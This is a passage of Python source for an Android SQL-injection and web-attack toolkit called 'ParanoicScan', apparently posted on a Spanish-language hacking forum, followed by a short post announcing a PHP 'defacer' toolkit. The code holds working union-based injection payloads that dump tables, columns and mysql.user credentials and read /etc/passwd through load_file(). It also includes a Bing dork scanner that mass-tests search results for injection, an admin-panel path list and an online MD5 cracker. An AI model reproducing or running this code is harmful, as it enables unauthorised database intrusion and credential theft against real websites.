    respuesta = respuesta + "\n[+] Finished"
    return respuesta

    def mysqluser(web):
    pass1,pass2 = bypass("--")
    respuesta = ""
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,Host,0x4b30425241,0x4B3042524131,User,0x4B3042524131,0x4B3042524132,Password,0x4B3042524132)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
    respuesta = respuesta + "[+] Searching mysql.user ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "[+] Users Found : "+numbers+"\n"
      for counter in range(0,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+"mysql.user"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        host = re.findall("K0BRA(.*?)K0BRA",code2)
        host = host[0]
        user = re.findall("K0BRA1(.*?)K0BRA1",code2)
        user = user[0]
        passw = re.findall("K0BRA2(.*?)K0BRA2",code2)
        passw = passw[0]
        respuesta = respuesta + "\n[Host] : "+host
        respuesta = respuesta + "\n[User] : "+user
        respuesta = respuesta + "\n[Pass] : "+passw+"\n"   
    else:
      respuesta = respuesta + "[-] Not Found\n"
    respuesta = respuesta + "\n[+] Finished"
    return respuesta

    def showcolumnsdb(web,db,table):
    respuesta = ""
    db2 = db
    table2 = table
    db = "0x"+str(binascii.hexlify(db))
    table = "0x"+str(binascii.hexlify(table))
    pass1,pass2 = bypass("--")
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass2)
    respuesta = respuesta + "[+] Searching columns in DB ...\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "\n[+] Columns Found : "+str(numbers)+"\n"
      for counter in range(0,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        column = re.findall("K0BRA(.*?)K0BRA",code2)
        column = column[0]
        respuesta = respuesta + "\n[Column Found] : "+str(column)
    else:
      respuesta = respuesta + "\n[-] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def showtablesdb(web,db):
    respuesta = ""
    db2 = db
    db = "0x"+str(binascii.hexlify(db))
    pass1,pass2 = bypass("--")
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass2)
    respuesta = respuesta + "[+] Searching tables in DB ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "[+] Tables Found : "+str(numbers)+"\n"
      for counter in range(0,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        table = re.findall("K0BRA(.*?)K0BRA",code2)
        table = table[0]
        respuesta = respuesta + "\n[Table Found] : "+table
    else:
      respuesta = respuesta + "[-] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def more(web):
    respuesta = ""
    pass1,pass2 = bypass("--")
    otraweb = web
    respuesta = respuesta + "[+] Searching DB Details ...\n"
    hextest = "0x2f6574632f706173737764"
    web1 = re.sub("hackman","unhex(hex(concat(0x334d50335a3452,0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241,0x334d50335a3452)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))",otraweb)
    code0 = toma(web1+pass2)
    if (re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)):
      datax = re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)
      datar = re.split("K0BRA",datax[0])
      respuesta = respuesta + "\n[+] Username : "+datar[1]
      respuesta = respuesta + "\n[+] Database : "+datar[2]
      respuesta = respuesta + "\n[+] Version : "+datar[3]+"\n"

    code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
    if (re.findall("K0BRA",code1)):
       respuesta = respuesta + "\n[+] mysql.user : on"
    code2 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
    if (re.findall("K0BRA",code2)):
       respuesta = respuesta + "\n[+] information_schema.tables : on"
    codetres = toma(web2)
    if (re.findall("ERTOR854",codetres)):
      respuesta = respuesta + "\n[+] load_file() : on"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def httpfinger(target):
    respuesta = ""
    try:
      respuesta = respuesta + str(getdata(target))
    except:
      respuesta = respuesta + "[-] Error"
    return respuesta

    def scanpanel(web):
    contador = 0
    panels=['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
    respuesta = ""
    respuesta = respuesta + "[+] Scanning ...\n"
    for path in panels:
      try:
       toma(web+"/"+path)
       respuesta = respuesta + "\n[+] Link : "+web+"/"+path
       contador = contador + 1
      except urllib2.URLError, e:
       pass

    if(contador==0) :
      respuesta = respuesta + "\n[+] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def crackmd5(md5) :
    respuesta = ""
    code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")
    if (re.findall("<center><p>md5 :<b>(.*?)<\/b> <br>pass : <b>(.*?)<\/b><\/p>",code)):
      rex = re.findall("<center><p>md5 :<b>(.*?)<\/b> <br>pass : <b>(.*?)<\/b><\/p>",code)
      return "[+] Hash : "+rex[0][1]
    else:
      code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")
      if (re.findall("Decrypted Text: <\/b>(.*?)<\/font>",code)):
       rex = re.findall("Decrypted Text: <\/b>(.*?)<\/font>",code)
       return "[+] Hash : "+rex[0]
      else:
       code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)
       if (re.findall("<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>",code)):
        rex = re.findall("<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>",code)
        return "[+] Hash : "+rex[0]
       else:
        return "[+] Hash : Not Found"
    return respuesta

    def locateip(pagina):

    respuesta = ""

    ip = socket.gethostbyname(str(pagina))
    code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip)

    respuesta = respuesta + "[++] IP Address Location\n"

    if (re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
      rex = re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
      city = rex[0][1]
      respuesta = respuesta + "\n[++] City : "+city
    else:
      respuesta = respuesta + "\n[++] City : Not Found"

    if (re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
      rex = re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
      country = rex[0][1]
      respuesta = respuesta + "\n[++] Country : "+country
    else:
      respuesta = respuesta + "\n[++] Country : Not Found"
     
    if (re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
      rex = re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
      state = rex[0][1]
      respuesta = respuesta + "\n[++] State : "+state
    else:
      respuesta = respuesta + "\n[++] State : Not Found"


    code = toma("http://www.ip-adress.com/reverse_ip/"+ip)

    if (re.findall("whois\/(.*?)\">Whois",code)):
      rex = re.findall("whois\/(.*?)\">Whois",code)
      respuesta = respuesta + "\n\n[++] DNS Founds\n"
      for dns in rex:
       respuesta = respuesta + "\n[+] "+dns

    return respuesta

    def sqltest(webs):
    respuesta = ""
    for web in webs :
      if re.findall("=",web):
       web = re.split("=",web)
       web = web[0]+"="

       try:
        code = toma(web+"-1+union+select+1--")
        if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
         respuesta = respuesta + "[SQLI] : "+web+"\n"
       except:
        pass
    return respuesta

    def limpiar(pag):

    limpia = []
    for p in pag:
      if p not in limpia:
       limpia.append(p)
    return limpia

    def bingscan(dork,count):

    respuesta = ""

    pag = []
    s = 10 

    while s <= int(count):
      try:
       code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
       d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
       s += 10
       for a in d:
        pag.append(a)
      except:
       pass

    pag = limpiar(pag)

    return pag


    ##
     
    aplicacion = android.Android()

    def menuencoder():

    aplicacion.dialogCreateAlert("Encoders")
    aplicacion.dialogSetItems(["MD5 Encoder","Base64 Encoder","Base64 Decoder","Hex Encoder","Hex Decoder","Exit"])
    aplicacion.dialogShow()
    reh = aplicacion.dialogGetResponse().result
    reb = reh["item"]

    if reb==0:

      aplicacion.dialogCreateAlert("MD5 Encoder")
     
      aplicacion.dialogGetInput("MD5 Encoder","Enter Text")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menuencoder()
      else:
       texto = ref['value']

       aplicacion.dialogCreateSpinnerProgress("MD5 Encoder","[+] Encoding ...")
       aplicacion.dialogShow()

       don = md5encoder(texto)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("MD5 Encoder",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menuencoder()


    if reb==1 :

      aplicacion.dialogCreateAlert("Base64 Encoder")
     
      aplicacion.dialogGetInput("Base64 Encoder","Enter Text")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menuencoder()
      else:
       texto = ref['value']

       aplicacion.dialogCreateSpinnerProgress("Base64 Encoder","[+] Encoding ...")
       aplicacion.dialogShow()

       don = base64encoder(texto)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("Base64 Encoder",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menuencoder()

    if reb==2 :

      aplicacion.dialogCreateAlert("Base64 Decoder")
     
      aplicacion.dialogGetInput("Base64 Decoder","Enter Text")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menuencoder()
      else:
       texto = ref['value']

       aplicacion.dialogCreateSpinnerProgress("Base64 Decoder","[+] Encoding ...")
       aplicacion.dialogShow()

       don = base64decoder(texto)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("Base64 Decoder",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menuencoder()
     
    if reb==3 :

      aplicacion.dialogCreateAlert("Hex Encoder")
     
      aplicacion.dialogGetInput("Hex Encoder","Enter Text")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menuencoder()
      else:
       texto = ref['value']

       aplicacion.dialogCreateSpinnerProgress("Hex Encoder","[+] Encoding ...")
       aplicacion.dialogShow()

       don = hexencoder(texto)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("Hex Encoder",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menuencoder()


    if reb==4 :

      aplicacion.dialogCreateAlert("Hex Decoder")
     
      aplicacion.dialogGetInput("Hex Decoder","Enter Text")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menuencoder()
      else:
       texto = ref['value']

       aplicacion.dialogCreateSpinnerProgress("Hex Decoder","[+] Encoding ...")
       aplicacion.dialogShow()

       don = hexdecoder(texto)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("Hex Decoder",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menuencoder()

    if reb==5:
      menu()

    def menusql():

    aplicacion.dialogCreateAlert("SQLI Scanner")
    aplicacion.dialogSetItems(["Get Tables","Get Columns","Get Databases","Get Tables of DB","Get Columns of DB","Get mysql.users","Get Details DB","Dump Values","Exit"])
    aplicacion.dialogShow()
    reez = aplicacion.dialogGetResponse().result
    opsql = reez["item"]

    if opsql==0:

      aplicacion.dialogCreateAlert("SQLI Scanner")
      aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Tables ...")
      aplicacion.dialogShow()

      don = showtables(webvul)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("SQLI Scanner",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menusql()
       
    if opsql==1 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
     
      aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menusql()
      else:   
       tabla = ref['value']

       aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Columns ...")
       aplicacion.dialogShow()

       don = showcolumns(webvul,tabla)
       
       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("SQLI Scanner",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menusql()
       
    if opsql==2 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
      aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Databases ...")
      aplicacion.dialogShow()

      don = showdbs(webvul)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("SQLI Scanner",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menusql()
       
    if opsql==3 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
     
      aplicacion.dialogGetInput("SQLI Scanner","Enter DB Name")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menusql()
      else:   
       db = ref['value']

       aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Tables of DB ...")
       aplicacion.dialogShow()

       don = showtablesdb(webvul,db)
       
       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("SQLI Scanner",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menusql()

    if opsql==4 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
     
      aplicacion.dialogGetInput("SQLI Scanner","Enter DB Name")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menusql()
      else:   
       db = ref['value']

       aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
       ref = aplicacion.dialogGetResponse().result

       if not ref['which'] == 'positive' :
        menusql()
       else:
        tabla = ref['value']
        aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Columns of DB ...")
        aplicacion.dialogShow()

        don = showcolumnsdb(webvul,db,tabla)
       
        aplicacion.dialogDismiss()

        aplicacion.dialogCreateAlert("SQLI Scanner",don)
        aplicacion.dialogSetPositiveButtonText("Done")
        aplicacion.dialogShow()
     
        op = aplicacion.dialogGetResponse().result

        if op["which"] == "positive" :
         menusql()

    if opsql==5 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
      aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching mysql.users ...")
      aplicacion.dialogShow()

      don = mysqluser(webvul)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("SQLI Scanner",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menusql()
     
    if opsql==6 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
      aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Getting Information ...")
      aplicacion.dialogShow()

      don = more(webvul)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("SQLI Scanner",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menusql()

    if opsql==7 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
     
      aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menusql()
      else:   
       tabla = ref['value']

       aplicacion.dialogGetInput("SQLI Scanner","Enter Column1")
       ref = aplicacion.dialogGetResponse().result

       if not ref['which'] == 'positive' :
        menusql()
       else:
        columna1 = ref['value']
        aplicacion.dialogGetInput("SQLI Scanner","Enter Column2")
        ref = aplicacion.dialogGetResponse().result
        if not ref['which'] == 'positive' :
         menusql()
        else:   
         columna2 = ref['value']
         aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Getting Values ...")
         aplicacion.dialogShow()

         don = dumper(webvul,tabla,columna1,columna2)
       
         aplicacion.dialogDismiss()
         aplicacion.dialogCreateAlert("SQLI Scanner",don)
         aplicacion.dialogSetPositiveButtonText("Done")
         aplicacion.dialogShow() 
         op = aplicacion.dialogGetResponse().result

         if op["which"] == "positive" :
          menusql()

    if opsql==8:
      menu()

    def menu():

    aplicacion.dialogCreateAlert("ParanoicScan 0.3 (C) Doddy Hackman 2014")
    aplicacion.dialogSetItems(["BingHackTool","SQLI Scanner","MD5 Cracker","Admin Finder","Locate IP","HTTP FingerPrinting","Encoders","About","Exit"])
    aplicacion.dialogShow()
    re = aplicacion.dialogGetResponse().result
    re2 = re["item"]

    if re2==0:

      aplicacion.dialogCreateAlert("BingHack Tool")
     
      aplicacion.dialogGetInput("BingHack Tool","Enter Dork")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menu()
      else:   
       dork = ref['value']

       aplicacion.dialogGetInput("BingHack Tool","Enter number of pages to search")
       ref = aplicacion.dialogGetResponse().result

       if not ref['which'] == 'positive' :
        menu()
       else:
        paginas = ref['value']

        paginas = str(paginas)

        aplicacion.dialogCreateSpinnerProgress("BingHack Tool","Searching ...")
        aplicacion.dialogShow()

        founds = ""
        rez = ""
        rtafinal = ""

        founds = bingscan(dork,paginas)

        aplicacion.dialogDismiss()

        aplicacion.dialogCreateSpinnerProgress("BingHack Tool","Scanning ...")
        aplicacion.dialogShow()

        rez = sqltest(founds)

        if len(rez) == 0 :
         rtafinal = "[-] Not Found"
        else :
         rtafinal = "[++] Pages Founds\n\n"
         rtafinal = rtafinal + rez
         rtafinal = rtafinal + "\n[++] Finished\n"

        aplicacion.dialogDismiss()

        aplicacion.dialogCreateAlert("BingHack Tool",rtafinal)
        aplicacion.dialogSetPositiveButtonText("Done")
        aplicacion.dialogShow()
     
        op = aplicacion.dialogGetResponse().result
        if op["which"] == "positive" :
         menu()

    if re2==1 :

      global webvul

      aplicacion.dialogCreateAlert("SQLI Scanner")
     
      aplicacion.dialogGetInput("SQLI Scanner","Enter Page")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menu()
      else:   
       web = ref['value']
       aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Scanning ...")
       aplicacion.dialogShow()

       pass1,pass2 = bypass("--")
       code = toma(web+"1"+pass1+"and"+pass1+"1=0"+pass2)
       codedos = toma(web+"1"+pass1+"and"+pass1+"1=1"+pass2)

       if not code==codedos:
        aplicacion.dialogDismiss()
        aplicacion.dialogCreateAlert("SQLI Scanner","[+] SQLI Detected")
        aplicacion.dialogSetPositiveButtonText("Done")
        aplicacion.dialogShow()
        op = aplicacion.dialogGetResponse().result
        if op["which"] == "positive" :

         pass1,pass2 = bypass("--")
         rtacondata = ""
         control_sql = 0

         aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Finding columns length")
         aplicacion.dialogShow()

         number = "unhex(hex(concat(0x4b30425241,1,0x4b30425241)))"
         for te in range(2,30):
          number = str(number)+","+"unhex(hex(concat(0x4b30425241,"+str(te)+",0x4b30425241)))"
          code = toma(web+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+number+pass2)
          if(regexver(code)):
           numbers = regexdar(code)

           control_sql = 1

           rtacondata = rtacondata + "[+] Column length : "+str(te)
           rtacondata = rtacondata + "\n[+] Numbers "+str(numbers)+" print data"

           sql = ""
           tex = te + 1
           for sqlix in range(2,tex):
            sql = str(sql)+","+str(sqlix)
            sqli  = str(1)+sql
           sqla = reem(sqli,numbers[0])
           aplicacion.dialogDismiss()
           aplicacion.dialogCreateAlert("SQLI Scanner",rtacondata)
           aplicacion.dialogSetPositiveButtonText("Done")
           aplicacion.dialogShow()
           op = aplicacion.dialogGetResponse().result
           if op["which"] == "positive" :
        webvul = web+"-1"+pass1+"union"+pass1+"select"+pass1+sqla
        menusql()

         if control_sql==0:

          aplicacion.dialogDismiss()
          aplicacion.dialogCreateAlert("SQLI Scanner","[-] Length dont found")
          aplicacion.dialogSetPositiveButtonText("Done")
          aplicacion.dialogShow()
          op = aplicacion.dialogGetResponse().result
          if op["which"] == "positive" :
           aplicacion.exit()

       else:
        aplicacion.dialogDismiss()
        aplicacion.dialogCreateAlert("SQLI Scanner","[-] Not Vulnerable")
        aplicacion.dialogSetPositiveButtonText("Done")
        aplicacion.dialogShow()
        op = aplicacion.dialogGetResponse().result
        if op["which"] == "positive" :
         aplicacion.exit()

    if re2==2 :

      aplicacion.dialogCreateAlert("MD5 Cracker")
     
      aplicacion.dialogGetInput("MD5 Cracker","Enter MD5")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menu()
      else:   
       target = ref['value']

       aplicacion.dialogCreateSpinnerProgress("MD5 Cracker","[+] Cracking ...")
       aplicacion.dialogShow()

       don = crackmd5(target)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("MD5 Cracker",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menu()
     
    if re2==3 :

      aplicacion.dialogCreateAlert("Admin Finder")
     
      aplicacion.dialogGetInput("Admin Finder","Enter Target")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menu()
      else:   
       target = ref['value']

       aplicacion.dialogCreateSpinnerProgress("Admin Finder","[+] Searching ...")
       aplicacion.dialogShow()

       don = scanpanel(target)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("Admin Finder",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menu()

    if re2==4 :

      aplicacion.dialogCreateAlert("LocateIP")
     
      aplicacion.dialogGetInput("LocateIP","Enter Target")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menu()
      else:
       target = ref['value']

       aplicacion.dialogCreateSpinnerProgress("LocateIP","[+] Searching ...")
       aplicacion.dialogShow()

       don = locateip(target)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("LocateIP",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menu()
     
    if re2==5 :

      aplicacion.dialogCreateAlert("HTTP FingerPrinting")
     
      aplicacion.dialogGetInput("HTTP FingerPrinting","Enter Target")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menu()
      else:
       target = ref['value']

       aplicacion.dialogCreateSpinnerProgress("HTTP FingerPrinting","[+] Scanning ...")
       aplicacion.dialogShow()

       don = httpfinger(target)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("HTTP FingerPrinting",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menu()

    if re2==6 :
      menuencoder()

    if re2==7 :

       about = "This program was written by Doddy Hackman in the summer of 2014"
       aplicacion.dialogCreateAlert("About",about)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menu()

    if re2==8 :
      aplicacion.exit()
     
    menu()

    # The End ?


    Si quieren bajarlo lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#220
Back-end / [PHP] DH Defacer Tools 0.8
Enero 31, 2014, 12:11:37 AM
Un simple programa en PHP dedicado a las vulnerabilidades webs con las siguientes opciones :

  • Bing Scanner con scanner SQLI incluido
  • SQLI Scanner
  • LFI Scanner
  • Crackear varias hashes MD5
  • Buscador del panel de administracion
  • Localizador de IP y sus DNS
  • Encoders para base64,HEX y MD5

    Un video con ejemplos de uso :



    Si quieren bajar el código lo pueden hacer You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.